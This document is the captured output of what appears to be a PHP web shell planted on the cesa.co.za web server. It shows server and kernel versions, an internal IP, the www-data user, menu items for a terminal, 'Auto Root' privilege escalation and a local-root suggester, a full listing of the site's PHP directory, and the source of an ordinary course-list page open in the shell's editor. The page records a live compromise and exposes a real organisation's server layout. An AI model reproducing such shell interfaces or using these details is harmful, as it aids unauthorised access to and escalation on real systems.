Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
php /
Delete
Unzip
Name
Size
Permission
Date
Action
_notes
[ DIR ]
drwxr-sr-x
2022-12-20 11:09
_vti_cnf
[ DIR ]
drwxr-sr-x
2022-12-20 11:09
certificate
[ DIR ]
drwxr-sr-x
2023-03-22 11:22
includes
[ DIR ]
drwxr-sr-x
2026-08-24 10:12
mail_interface
[ DIR ]
drwxr-sr-x
2025-06-14 09:47
security
[ DIR ]
drwxr-sr-x
2023-09-17 08:02
temp
[ DIR ]
drwxr-sr-x
2026-04-18 22:25
templates
[ DIR ]
drwxr-sr-x
2026-05-25 12:12
tests
[ DIR ]
drwxr-sr-x
2025-07-07 15:54
CaptchaSecurityImages.php
2.26
KB
-rw-r--r--
2022-12-20 11:09
Inc_calendarnew.php
8.59
KB
-rw-r--r--
2017-11-20 10:34
accredcourses.php
7.04
KB
-rw-r--r--
2023-08-22 10:55
adecquestionnaire.php
26.54
KB
-rw-r--r--
2025-08-01 10:38
advisory.php
7.21
KB
-rw-r--r--
2022-12-20 11:09
advisory_full.php
1.31
KB
-rw-r--r--
2022-12-20 11:09
annualdeclaration.php
15.28
KB
-rw-r--r--
2026-01-22 10:25
awardsentry.php
14.55
KB
-rw-r--r--
2025-08-01 10:38
awardsentry.php.bak
11.22
KB
-rw-r--r--
2016-04-13 12:45
bookdetail.php
954
B
-rw-r--r--
2022-12-20 11:09
books.php
4.4
KB
-rw-r--r--
2023-05-16 13:08
branchdocuments.php
1.14
KB
-rw-r--r--
2022-12-20 11:09
branches.php
2.82
KB
-rw-r--r--
2025-08-06 12:54
calendarpdf.php
1.75
KB
-rw-r--r--
2025-08-26 16:52
cceregister.php
55.59
KB
-rw-r--r--
2026-08-14 12:05
ccmregister.php
71.57
KB
-rw-r--r--
2022-12-20 11:09
class.phpmailer.php
44.39
KB
-rw-r--r--
2022-12-20 11:09
class.smtp.php
32.74
KB
-rw-r--r--
2022-12-20 11:09
committeedocs.php
932
B
-rw-r--r--
2022-12-20 11:09
committees.php
2.69
KB
-rw-r--r--
2025-08-06 12:58
cpdapply.php
5.73
KB
-rw-r--r--
2022-12-20 11:09
cpdapplyform.php
34.06
KB
-rw-r--r--
2025-08-01 10:38
cpdproviderapply.php
42.09
KB
-rw-r--r--
2026-02-10 10:10
cpdproviderportal.php
79.47
KB
-rw-r--r--
2025-09-08 07:23
cpdspverify.php
4.27
KB
-rw-r--r--
2025-10-10 10:45
cpdtmverify.php
4.45
KB
-rw-r--r--
2023-06-19 13:44
declineeventreg.php
3.73
KB
-rw-r--r--
2022-12-20 11:09
directorybooking.php
7.39
KB
-rw-r--r--
2022-12-20 11:09
downloadPN.php
385
B
-rw-r--r--
2025-06-26 13:02
downloadfile.php
280
B
-rw-r--r--
2025-08-01 10:38
enews.php
1.33
KB
-rw-r--r--
2022-12-20 11:09
enewsarchive.php
1.09
KB
-rw-r--r--
2022-12-20 11:09
event.php
12.39
KB
-rw-r--r--
2026-08-19 12:22
event_allvenues.php
18.93
KB
-rw-r--r--
2026-08-09 11:44
eventdecline_awards.php
11.79
KB
-rw-r--r--
2022-12-20 11:09
eventregister.php
26.85
KB
-rw-r--r--
2026-02-10 07:56
eventregister_awards.php
19.4
KB
-rw-r--r--
2025-06-20 06:38
eventregister_golf.php
28.83
KB
-rw-r--r--
2025-08-19 08:12
eventtables.php
24.13
KB
-rw-r--r--
2023-06-01 09:51
eventtables.php.bak
3.49
KB
-rw-r--r--
2022-12-20 11:09
fidicgama2018.php
1012
B
-rw-r--r--
2022-12-20 11:09
forum.php
3.25
KB
-rw-r--r--
2022-12-20 11:09
getoffices.php
799
B
-rw-r--r--
2022-12-20 11:09
hrforumsubscribe.php
2.62
KB
-rw-r--r--
2022-12-20 11:09
hrforumunsubscribe.php
1.32
KB
-rw-r--r--
2022-12-20 11:09
inc_calendarnew.php
10.56
KB
-rw-r--r--
2025-08-21 10:11
inc_captcha.php
337
B
-rw-r--r--
2022-12-20 11:09
inc_db.php
12.33
KB
-rw-r--r--
2025-06-18 12:05
inc_php7.php
6
KB
-rw-r--r--
2025-07-07 12:51
inc_practicenoteslist.php
4.1
KB
-rw-r--r--
2024-07-03 13:52
inc_scecalendar.php
8.55
KB
-rw-r--r--
2025-06-13 08:57
inc_scecalendar_backup.php
6.66
KB
-rw-r--r--
2022-12-20 11:09
inc_scecalendarnew.php
7.84
KB
-rw-r--r--
2026-05-09 09:39
jobshadowschools.php
7.26
KB
-rw-r--r--
2025-06-20 06:38
logout.php
593
B
-rw-r--r--
2025-02-25 08:19
marketingevent.php
122.75
KB
-rw-r--r--
2026-08-03 13:40
marketingeventdecline.php
15.21
KB
-rw-r--r--
2022-12-20 11:09
marketingsurvey.php
5.95
KB
-rw-r--r--
2022-12-20 11:09
matrixtemplate.htm
2.13
KB
-rw-r--r--
2022-12-20 11:09
member_portal_becs.php
2.14
KB
-rw-r--r--
2025-09-12 07:50
member_portal_transformation.php
10.45
KB
-rw-r--r--
2026-05-20 10:07
member_portal_transformation_proxy.php
538
B
-rw-r--r--
2026-05-20 09:08
memberauth.php
991
B
-rw-r--r--
2025-02-25 08:19
memberportal.php
11.79
KB
-rw-r--r--
2026-05-20 09:54
membersearch.php
22.72
KB
-rw-r--r--
2025-02-27 08:02
membersearch_smme.php
6.2
KB
-rw-r--r--
2024-11-27 11:41
memberverify.php
5.25
KB
-rw-r--r--
2022-12-20 11:09
mentors.php
21.68
KB
-rw-r--r--
2025-06-20 06:38
migratenode.php
1.26
KB
-rw-r--r--
2022-12-20 11:09
monofont.ttf
40.07
KB
-rw-r--r--
2022-12-20 11:09
nlc.php
855
B
-rw-r--r--
2022-12-20 11:09
nlcreports.php
2.51
KB
-rw-r--r--
2022-12-20 11:09
php_errors.log
1.06
KB
-rw-r--r--
2026-08-20 23:37
practicenotes.php
4.63
KB
-rw-r--r--
2022-12-20 11:09
practicenotes_full.php
1.33
KB
-rw-r--r--
2022-12-20 11:09
practicenotes_help.php
2.17
KB
-rw-r--r--
2022-12-20 11:09
practicenotes_list.php
2.03
KB
-rw-r--r--
2024-07-03 13:52
practicenotes_search.php
9.43
KB
-rw-r--r--
2022-12-20 11:09
querynlcmatrix.php
15
KB
-rw-r--r--
2022-12-20 11:09
querynlcmatrix.php4
15.38
KB
-rw-r--r--
2012-03-05 08:01
register.php
58.18
KB
-rw-r--r--
2026-05-26 14:55
relay.php
20.33
KB
-rw-r--r--
2025-06-20 06:38
relayteams.php
12.53
KB
-rw-r--r--
2022-12-20 11:09
resendcpdform.php
7.28
KB
-rw-r--r--
2025-08-01 10:38
retiredeng.php
13.45
KB
-rw-r--r--
2025-06-20 06:38
retiredeng_members.php
1.81
KB
-rw-r--r--
2022-12-20 11:09
sanitize.php
10
B
-rw-r--r--
2022-12-20 11:09
sce_survey2015.php
25.85
KB
-rw-r--r--
2022-12-20 11:09
sceallevents.php
8.13
KB
-rw-r--r--
2026-01-20 08:45
scecalendar.php
4.86
KB
-rw-r--r--
2025-06-18 11:18
scecalendar_backup.php
3.17
KB
-rw-r--r--
2025-06-18 11:18
scecalendarnew.php
5.98
KB
-rw-r--r--
2025-08-28 11:14
scecalendarnewtest.php
5.7
KB
-rw-r--r--
2022-03-04 12:37
scecalendartest.php
3.57
KB
-rw-r--r--
2022-03-04 12:38
scecategories.php
914
B
-rw-r--r--
2022-12-20 11:09
scecourses.php
7.18
KB
-rw-r--r--
2026-08-19 12:15
scelist.php
7.72
KB
-rw-r--r--
2025-08-29 07:18
scesubscribe.php
2.06
KB
-rw-r--r--
2022-12-20 11:09
sceupdate.php
1.67
KB
-rw-r--r--
2025-06-18 11:18
scevenuehire.php
6.15
KB
-rw-r--r--
2026-01-23 13:12
sendeventreg.php
19.5
KB
-rw-r--r--
2026-08-14 12:05
sendeventreg2.php
2.83
KB
-rw-r--r--
2026-07-17 14:57
sendeventreg_golf.php
20.23
KB
-rw-r--r--
2026-08-14 12:05
sendeventreg_golf.php.bak
11.69
KB
-rw-r--r--
2016-09-07 09:48
sendreg.php
35.15
KB
-rw-r--r--
2026-08-14 12:05
smsunsub.php
1.89
KB
-rw-r--r--
2025-06-18 11:18
template.php
54.36
KB
-rw-r--r--
2022-12-20 11:09
tenders.php
1.34
KB
-rw-r--r--
2022-12-20 11:09
trainerportal.php
50.27
KB
-rw-r--r--
2025-08-01 11:06
trainerportal.php.bak
2.57
KB
-rw-r--r--
2022-12-20 11:09
unempgrad_members.php
2.38
KB
-rw-r--r--
2025-06-18 11:18
unemployed.php
14.13
KB
-rw-r--r--
2025-06-20 06:38
unemployedreg.php
23.38
KB
-rw-r--r--
2025-06-20 06:38
unempreg_members.php
2.36
KB
-rw-r--r--
2025-06-18 11:18
ypfbranchcommittee.php
1.63
KB
-rw-r--r--
2022-12-20 11:09
ypfcommittees.php
1.57
KB
-rw-r--r--
2022-12-20 11:09
ypfjoin.php
30.29
KB
-rw-r--r--
2025-07-07 15:53
ypfjoin2.php
28.13
KB
-rw-r--r--
2025-06-18 11:18
ypfjoinmatches.php
9.46
KB
-rw-r--r--
2025-06-18 11:18
ypfmentees.php
20.81
KB
-rw-r--r--
2026-08-24 11:52
ypfmentees_members.php
2.42
KB
-rw-r--r--
2025-06-18 11:18
Save
Rename
<h1>Upcoming Courses Lists</h1> <?php include_once('inc_db.php'); include_once($_SERVER['DOCUMENT_ROOT'] . '/php/includes/SchoolCourses.php'); $schoolCourses = new SchoolCourses($sqlf); $scheduledGroups = $schoolCourses->groupPublicCatalogueByCategory( $schoolCourses->getPublicCatalogueCourses('scheduled') ); $onRequestGroups = $schoolCourses->groupPublicCatalogueByCategory( $schoolCourses->getPublicCatalogueCourses('on_request') ); $filterCategories = array(); foreach ($scheduledGroups as $group) { $filterCategories[] = array( 'slug' => $group['category_slug'], 'label' => $group['category'], ); } /** * @param array $groups * @param string $listId * @param string $emptyMessage */ function sce_render_course_groups(array $groups, $listId, $emptyMessage) { echo '<ul id="' . htmlspecialchars($listId) . '" class="sce-course-list">'; if (count($groups) <= 0) { echo '<li class="sce-course-empty">' . htmlspecialchars($emptyMessage) . '</li>'; echo '</ul>'; return; } $first = true; foreach ($groups as $group) { $catId = htmlspecialchars($group['category_slug']); if (!$first) { echo '<p class="sce-course-line-break" id="line-break-' . $catId . '" data-cat-id="' . $catId . '"> </p>'; } $first = false; echo '<div class="course-list" id="cat-' . $catId . '" data-cat-id="' . $catId . '">'; echo '<h4>' . htmlspecialchars($group['category']) . '</h4>'; foreach ($group['courses'] as $course) { $courseId = intval($course['SchoolCourseID']); $name = htmlspecialchars($course['CourseName']); echo '<li><a href="/sce/school-course?courseid=' . $courseId . '">' . $name . '</a></li>'; } echo '</div>'; } echo '</ul>'; } ?> <style> .sce-course-tabs { display: flex; flex-wrap: wrap; gap: 8px; margin: 16px 0 12px; border-bottom: 2px solid #d7e0f0; padding-bottom: 0; } .sce-course-tab { appearance: none; border: 1px solid #b0b0b0; background: #e8e8e8; color: #666; padding: 8px 14px; cursor: pointer; font-weight: 600; border-bottom: none; border-radius: 4px 4px 0 0; margin-bottom: -2px; } .sce-course-tab.is-active { border-color: #325eab; background: #325eab; color: #fff; } .sce-course-panel { display: none; } .sce-course-panel.is-active { display: block; } .sce-course-filters { display: flex; flex-wrap: wrap; gap: 8px; margin: 12px 0 16px; } .sce-course-filter { appearance: none; border: 1px solid #325eab; background: #f5f8fc; color: #325eab; padding: 6px 12px; border-radius: 999px; cursor: pointer; font-size: 13px; } .sce-course-filter.is-active { background: #325eab; color: #fff; } .sce-course-search { margin: 8px 0 16px; } .sce-course-empty { list-style: none; color: #555; margin: 12px 0; } .sce-course-list .course-list h4 { margin-top: 0; } </style> <div class="sce-course-tabs" role="tablist" aria-label="Course list views"> <button type="button" class="sce-course-tab is-active" data-tab="scheduled" role="tab" aria-selected="true">Course List</button> <button type="button" class="sce-course-tab" data-tab="on-request" role="tab" aria-selected="false">Courses Available on request</button> </div> <div class="sce-course-search printhide"> <input type="text" name="quicksearch" id="myInput" placeholder="Enter keywords to search the course list" size="40"> </div> <div id="panel-scheduled" class="sce-course-panel is-active" role="tabpanel"> <div class="sce-course-filters printhide" id="sceCategoryFilters" aria-label="Course categories"> <button type="button" class="sce-course-filter is-active" data-cat-filter="all">All Courses</button> <?php foreach ($filterCategories as $filter) { ?> <button type="button" class="sce-course-filter" data-cat-filter="<?php echo htmlspecialchars($filter['slug']); ?>"> <?php echo htmlspecialchars($filter['label']); ?> </button> <?php } ?> </div> <?php sce_render_course_groups( $scheduledGroups, 'courselist', 'No scheduled courses are currently listed.' ); ?> </div> <div id="panel-on-request" class="sce-course-panel" role="tabpanel" hidden> <p class="printhide"> These courses are not scheduled on our course calendar. For more information, contact Blessings at <a href="mailto:Blessings@cesa.co.za">Blessings@cesa.co.za</a> </p> <?php sce_render_course_groups( $onRequestGroups, 'courselist-on-request', 'No on-request courses are currently listed.' ); ?> </div> <script> jQuery(document).ready(function() { var $ = jQuery; function activeList() { return $('.sce-course-panel.is-active .sce-course-list'); } function matchesSearch(el, value) { return $(el).text().toLowerCase().indexOf(value) > -1; } function applySearchAndCategory() { var value = String($('#myInput').val() || '').toLowerCase(); var $panel = $('.sce-course-panel.is-active'); var $list = $panel.find('.sce-course-list'); var catFilter = 'all'; if ($panel.attr('id') === 'panel-scheduled') { var $activeFilter = $('#sceCategoryFilters .sce-course-filter.is-active'); if ($activeFilter.length) { catFilter = String($activeFilter.data('cat-filter') || 'all'); } } $list.find('li').each(function() { var isEmptyMsg = $(this).hasClass('sce-course-empty'); if (isEmptyMsg) { return; } $(this).toggle(matchesSearch(this, value)); }); $list.find('.course-list').each(function() { var catId = String($(this).data('cat-id') || ''); var categoryAllowed = (catFilter === 'all' || catFilter === catId); var hasMatch = $(this).find('li').filter(function() { return $(this).css('display') !== 'none' && matchesSearch(this, value); }).length > 0; var show = categoryAllowed && hasMatch; $(this).toggle(show); $list.find('#line-break-' + catId).toggle(show); }); } $('#myInput').on('keyup', applySearchAndCategory); $('#sceCategoryFilters').on('click', '.sce-course-filter', function() { $('#sceCategoryFilters .sce-course-filter').removeClass('is-active'); $(this).addClass('is-active'); applySearchAndCategory(); }); $('.sce-course-tabs').on('click', '.sce-course-tab', function() { var tab = String($(this).data('tab') || 'scheduled'); $('.sce-course-tab').removeClass('is-active').attr('aria-selected', 'false'); $(this).addClass('is-active').attr('aria-selected', 'true'); $('.sce-course-panel').removeClass('is-active').attr('hidden', true); if (tab === 'on-request') { $('#panel-on-request').addClass('is-active').removeAttr('hidden'); } else { $('#panel-scheduled').addClass('is-active').removeAttr('hidden'); } applySearchAndCategory(); }); }); </script> <?php mysql_close();